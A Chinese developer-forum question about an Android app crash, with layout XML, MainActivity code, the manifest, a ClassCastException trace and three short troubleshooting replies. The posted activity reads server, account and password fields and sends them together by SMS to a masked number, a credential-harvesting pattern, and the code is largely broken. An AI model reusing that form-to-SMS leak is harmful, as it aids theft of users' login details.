jugenghengyi
jugenghengyi
2020-04-07 12:31
采纳率: 0%
浏览 1.5k

android程序停止运行,不知道怎么解决

大佬们,虚拟机运行软件停止运行,求解决。
这是activity_main.xml
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center_horizontal"
android:orientation="vertical"
tools:context=".MainActivity"
android:background="@drawable/pic_1">

    <TextView
        android:layout_width="394dp"
        android:layout_height="25dp"
        android:layout_marginLeft="0dp"
        android:layout_marginTop="0dp"
        android:layout_marginRight="0dp"
        android:text="@string/名字"
        android:textColor="#FBF9F9"
        android:textSize="20sp"
        android:textStyle="bold">

    </TextView>

    <ImageView
        android:layout_width="100dp"
        android:layout_height="100dp"
        android:layout_marginTop="60dp"
        android:src="@mipmap/pic_2"
        android:contentDescription="@string/todo">

    </ImageView>

    <EditText
        android:id="@+id/sr1"
        android:layout_width="250dp"
        android:layout_height="45dp"
        android:layout_marginTop="50dp"
        android:hint="@string/名字2"
        android:textColorHint="#FBF9F9">

    </EditText>

    <EditText
        android:id="@+id/sr2"
        android:layout_width="250dp"
        android:layout_height="45dp"
        android:layout_marginTop="15dp"
        android:hint="@string/名字3"
        android:textColorHint="#FBF9F9">

    </EditText>

    <EditText
        android:id="@+id/sr3"
        android:layout_width="250dp"
        android:layout_height="45dp"
        android:layout_marginTop="15dp"
        android:hint="@string/名字4"
        android:textColorHint="#FBF9F9"
        android:inputType="textPassword">

    </EditText>

    <Button
        android:id="@+id/sr4"
        android:layout_width="90dp"
        android:layout_height="40dp"
        android:layout_marginTop="60dp"
        android:backgroundTint="#4CAF50"
        android:gravity="center"
        android:text="@string/名字5"
        android:textColor="#FFFFFCFC">

    </Button>

    <TextView
        android:layout_width="395dp"
        android:layout_height="25dp"
        android:layout_marginTop="200dp"
        android:gravity="center"
        android:text="@string/名字6"
        android:textColor="#FBF9F9"
        android:textSize="20sp"
        android:textStyle="bold">

    </TextView>


Main_Activity.java
package com.nbpl.nkzyzhb;

import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.text.TextUtils;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;

public class MainActivity extends ActionBarActivity {

private EditText sr1,sr2,sr3;
private Button sr4;

public MainActivity() {
}

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView();
    sr1= (EditText)sr1.findViewById(R.id.sr1);
    sr2 = (EditText)sr2.findViewById(R.id.sr2);
    sr3= (EditText)sr3.findViewById(R.id.sr3);
    sr4= sr4.findViewById(R.id.sr4);
    sr4.setOnClickListener((OnClickListener) this);
    sr4.setOnClickListener(new MyListener());
}

private void setContentView() {
}

private class MyListener implements OnClickListener{

    @Override
    public void onClick(View v) {
        // TODO Auto-generated method stub
        String sc1=sr1.getText().toString().trim();
        String sc2=sr2.getText().toString().trim();
        String sc3=sr3.getText().toString().trim();
        if(TextUtils.isEmpty(sc1)||TextUtils.isEmpty(sc2)||TextUtils.isEmpty(sc3)){
            Object 服务器或账号或密码不能为空 = null;
            showToast(服务器或账号或密码不能为空);
        }
        SmsManager smsManager=SmsManager.getDefault();
        smsManager.sendTextMessage("......", null, sc1+sc2+sc3, null, null);
    }

}

private void showToast(Object 服务器或账号或密码不能为空) {
}

}
Androidmaniflest.xml
<?xml version="1.0" encoding="utf-8"?>
package="com.nbpl.nkzyzhb">

<application
    android:icon="@mipmap/pic_2"
    android:label="@string/app_name"
    android:roundIcon="@mipmap/ic_launcher_round"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">
    <activity android:name=".MainActivity">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>
</application>

log错误

04-07 11:44:16.665 3324-3324/com.nbpl.nkzyzhb E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.nbpl.nkzyzhb, PID: 3324
java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.nbpl.nkzyzhb/com.nbpl.nkzyzhb.MainActivity}: java.lang.ClassCastException: com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2238)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2392)
at android.app.ActivityThread.access$800(ActivityThread.java:153)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:135)
at android.app.ActivityThread.main(ActivityThread.java:5305)
at java.lang.reflect.Method.invoke(Native Method)
at java.lang.reflect.Method.invoke(Method.java:372)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698)
Caused by: java.lang.ClassCastException: com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity
at android.app.Instrumentation.newActivity(Instrumentation.java:1066)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2228)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2392) 
at android.app.ActivityThread.access$800(ActivityThread.java:153) 
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1305) 
at android.os.Handler.dispatchMessage(Handler.java:102) 
at android.os.Looper.loop(Looper.java:135) 
at android.app.ActivityThread.main(ActivityThread.java:5305) 
at java.lang.reflect.Method.invoke(Native Method) 
at java.lang.reflect.Method.invoke(Method.java:372) 
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903) 
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698) 

            求大佬帮忙解决下啊啊啊啊
  • 点赞
  • 写回答
  • 关注问题
  • 收藏
  • 邀请回答

3条回答 默认 最新

  • franzhong
    franzhong 2020-04-07 21:27

    针对Unable to instantiate activity ComponentInfo错误排查一下
    https://blog.csdn.net/disanxiaoyao/article/details/80047737

    点赞 评论
  • xxfen_
    萧萧风 2020-04-08 17:32

    public MainActivity() {
    }
    这个删掉

    点赞 评论
  • qq_28213759
    我不玩IT 2020-04-12 02:56

    com.nbpl.nkzyzhb.MainActivity cannot be cast to android.app.Activity看到这句,应该是MainActivity继承错了,应该继承Activity或它的子类。要么ActionBarActivity 不是Activity的子类,要么要么ActionBarActivity的包你导错了

    点赞 评论

相关推荐